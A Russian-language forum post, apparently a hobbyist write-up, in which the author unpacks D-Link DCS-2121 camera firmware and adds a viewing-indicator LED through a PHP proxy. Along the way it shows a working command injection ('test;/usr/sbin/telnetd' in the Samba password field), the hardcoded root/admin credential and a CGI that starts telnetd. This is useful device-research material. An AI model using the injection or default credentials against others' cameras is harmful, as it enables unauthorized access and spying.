Форум обсуждения систем  

Вернуться   Форум обсуждения систем "Умный дом", проектов Ардуино, OpenWRT и других DIY устройств > Форум умного дома > Устройства мониторинга, оповещения и системы безопасн

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 08.06.2012, 21:39   #1
Admin
Administrator
 
Аватар для Admin
 
Регистрация: 12.04.2010
Адрес: Москва
Сообщений: 9,616
Вес репутации: 9820
Admin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant futureAdmin has a brilliant future
По умолчанию Исследуем камеру D-Link DCS-2121

Статья из Хабр песочницы.

Около года назад я купил камеру D-Link DCS-2121.

Вот ее краткие характеристики:
Камера 1 Мп + микрофон,
Поддержка WiFi,
Web-интерфейс для доступа к данным,
Запись на SD-карту, детектор движения,
Внешние логические выходы.

Повесил я ее дома, подключил к zoneminder для видеонаблюдения.
Также сделал «секретную» страничку на домашнем веб-сервере под паролем, чтобы домашние могли заглядывать в камеру, находясь вне дома.
Одно меня беспокоило — никак нельзя понять, смотрит сейчас кто-нибудь в камеру или нет.

D-Link во все свои устройства встраивает linux. Решил я на досуге поковыряться в прошивке, вдруг чего интересное найдется.

Для начала скачиваем ее с сайта d-link

Прошивка представляет собой обычный самораспаковывающийс я shell-скрипт с прицепленным бинарником.
Весь смысл скрипта сводится к тому, чтобы отделить бинарник и распаковать его с помощью программу ddPack, которая находится на устройстве и что делает неизвестно.

Предполагаем, что внутри находится cramfs, поэтому пробуем поискать ее «magic»-байты — 0x28cd3d45.
perl -ln0777e 'print pos()-4 while /(\x45\x3d\xcd\x28)/g' update_DCS-2102_DCS-2121_1.06_5731.bin

Получаем смещение — 1072552.

С помощью dd отделяем cramfs от всего остального:
dd if=update_DCS-2102_DCS-2121_1.06_5731.bin of=cramfs bs=1072552 skip=1
Проверяем:
root@server:/# file cramfs
cramfs: Linux Compressed ROM File System data, little endian size 5926912 version #2 sorted_dirs CRC 0x701ef55d, edition 0, 3667 blocks, 1255 files

Раз все прошло удачно, то монтируем:
mount -o loop,ro cramfs /mnt/tmp

Теперь у нас есть возможность изучить внутренности камеры.

Из прошивки становится понятно, что файловая система монтируется readonly, часть конфигурационных файлов генерируют скрипты в /tmp, куда монтируется tmpfs. SD-карта монтируется в /mnt/usb.

Камера Использует lighttpd, файлы лежат в /var/www.

Большинство cgi-скриптов являются символическими ссылками на один бинарный cgi — /var/www/cgi.
Было решено проверить этот скрипт на так называемый semicolon injection:
Цитата:
root@server:/mnt/var/www/cgi# strings cgibox |grep -E "\/.*%s$"
smbmount //%s/%s %s -o username=%s,password=%s
smbmount //%s/%s %s -o username=%s,password=%s
и вот он, похоже, что параметры, передаваемые smbmount никак не проверяются.
Для проверки заходим в web-интерфейс камеры в Setup -> Recording, включаем «Enable recording», выбираем «Samba Network Drive» и вводим во всех полях test, чтобы посмотреть, как камера реагирует на ошибку.

Нажмите на изображение для увеличения
Название: dlink1.jpg
Просмотров: 691
Размер:	216.1 Кб
ID:	384

Теперь попробуем в полях «Password» и «Password confirm» написать что-то навроде «test;/bin/true».
Нам повезло, камера весело откликнулась Ok.

Нажмите на изображение для увеличения
Название: dlink2.jpg
Просмотров: 679
Размер:	212.1 Кб
ID:	385

Тогда пробуем вписать туда «test;/usr/sbin/telnetd» и доступ к камере открылся:

Цитата:
user@workstation ~$ telnet cam.home
Trying 192.168.1.100...
Connected to cam.home.
Escape character is '^]'.
Living_Room login:
Теперь нужно еще немного покопаться в прошивке, чтобы понять какой нужен логин и пароль.
/etc/passwd и /etc/shadow являются символическими ссылками на одноименные файлы в /tmp, следовательно их генерируют скрипты. Находим упоминания об этом в /etc/rc.d/rc.local:
Цитата:
start() {
touch /tmp/group /tmp/passwd /tmp/shadow
echo 'root:x:0:' > /etc/group
echo 'root:x:0:0:Linux User,,,:/:/bin/sh' > /etc/passwd
echo 'root:$1$gmEGnzIX$bFqGa1xIsjGupHyfeHXWR/:20:0:99999:7:::' > /etc/shadow


Путем нехитрых манипуляция с гуглом выясняем, что данному хэшу соответствует пароль admin... Мило.

Наконец-то мы смогли зайти на нашу камеру.

Цитата:
user@workstation ~$ telnet cam.home
Trying 192.168.1.100...
Connected to cam.home.
Escape character is '^]'.
Living_Room login: root
Password:

BusyBox v1.01 (2011.08.30-16:09+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

~ # uname -a
Linux Living_Room 2.4.19-pl1029 #1 Wed Aug 31 00:10:54 CST 2011 armv4l unknown
~ #
Дальнейшие поиски какого-нибудь скрипта, который позволит запускать telnetd при загрузке камеры оказались неудачны, но был обнаружен другой не менее интересный способ запуска демона.
В /var/www была обнаружена следующая символическая ссылка - /var/www/sdcard -> /mnt/usb.
Оказалось, что достаточно просто положить файл telnet.cgi на sd-карту (/mnt/usb/telnet.cgi):
Цитата:
#!/bin/sh

/usr/sbin/telnetd >/dev/null 2>&1 &

echo Telnet started, login with root/admin

exit 0
И теперь запускать telnetd можно прямо из web-интерфейса: cam01.home/sdcard/telnet.cgi

Т.к. web-сервер позволяет выполнять любые файлы с расширением cgi я стал думать, как это можно использовать в своих целях.

Порывшись в бинарниках был найден интересный экземпляр с недвусмысленным названием - /bin/light. При запуске он выдает следующий список параметров:
light [out1|out2|out3|out4|led|power|active|wps Led|rs485|ir|irupper] [on|off]

Он позволяет включать-выключать светодиоды и управлять внешними выходами.
Светодиодом power/active управлять особо не получилось, т.к. им управляет демон watchDog.
А вот светодиод wpsLed, находящийся сзади вполне себе свободен, при его включении сзади камеры появляется приятное синее освещение.
Решено, попробуем использовать его в качестве индикации того, что кто-то сейчас просматривает камеру.

Раньше для доступа к картинке с камеры я использовал 1-й профиль в режиме mjpeg, доступный по адресу:
/video/mjpg.cgi?profileid=1

С помощью nginx я проксировал внешнюю ссылку на этот адрес.

На sd-карту было положено два файла:
Первый - light.sh:
Цитата:
#!/bin/sh

/bin/light wpsLed on >/dev/null 2>&1 &
sleep 3
/bin/light wpsLed off >/dev/null 2>&1 &
exit 0
Смысл его понятен - включить на 3 секунды подсветку.

и второй - light.cgi
Цитата:
#!/bin/sh

/usr/bin/killall light.sh >/dev/null 2>&1
/mnt/usb/light.sh >/dev/null 2>&1 &
exit 0
Задумка была такова, что если дергать постоянно light.cgi, то будет включена подсветка, если перестать, то подсветка погаснет.


Для этой задачи был написан php-скрипт. Пусть тяжеловато, но другого способа передавать данные и одновременно дергать скрипт для поддержки индикации я не нашел.

PHP код:
<?php
        
if (!preg_match('/cam$/'$_SERVER["REQUEST_URI"])) {
                echo 
'<html><head></head><body><img src="?cam"></body></html>';
                exit;
        }
        
$host 'cam.home';

        
$user 'viewer';
        
$pass 'password';
        
$br "\r\n";
        
        function 
light() {
                global 
$host$user$pass$br;

                
$socket_l=fsockopen($host80$errno$errstr10);

                
$headers_l=array(
                        
'GET /sdcard/light.cgi HTTP/1.0',
                        
'Host: '.$host,
                        
'User-Agent: MyUserAgent',
                        
'Authorization: Basic '.base64_encode($user.':'.$pass)
                );
                
fwrite($socket_limplode($br$headers_l).$br.$br);
                
fclose($socket_l);
        }

        
$socket=fsockopen($host80$errno$errstr10);

        
$headers=array(
                
'GET /video/mjpg.cgi?profileid=1 HTTP/1.0',
                
'Host: '.$host,
                
'User-Agent: MyUserAgent',
                
'Authorization: Basic '.base64_encode($user.':'.$pass)
        );
        
fwrite($socketimplode($br$headers).$br.$br);

        
fgets($socket,1024); // HTTP request line
        
while(!feof($socket)) { // headers
                
$hdr fgets($socket,1024);
                if (
$hdr == "\r\n") break;
                
header($hdr);
        }
        
$beginTime 0;
        while(!
feof($socket)) { // data
                
$data fgets($socket,1024);
                if (
microtime(true) - $beginTime >= 2) {
                        
$beginTime microtime(true);
                        
light();
                }
                echo 
$data;
        }
?>
Скрипт называется index.php. При вызове без параметров выводит простейший html со вставленной картинкой. При вызове с параметром cam (index.php?cam) возвращает саму картинку, не забывая дергать скрипт включения подсветки. Таким образом, просматривающему камеру обойти включение подсветки невозможно.

Теперь домашние обращаются к этому php-скрипту. Они видят картинку с камеры, ну а я вижу что в камеру в данный момент кто-то смотрит.

Интересно провел время и задача решена.
Admin вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 11:16. Часовой пояс GMT +3.


Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd. Перевод: zCarot
Яндекс.Метрика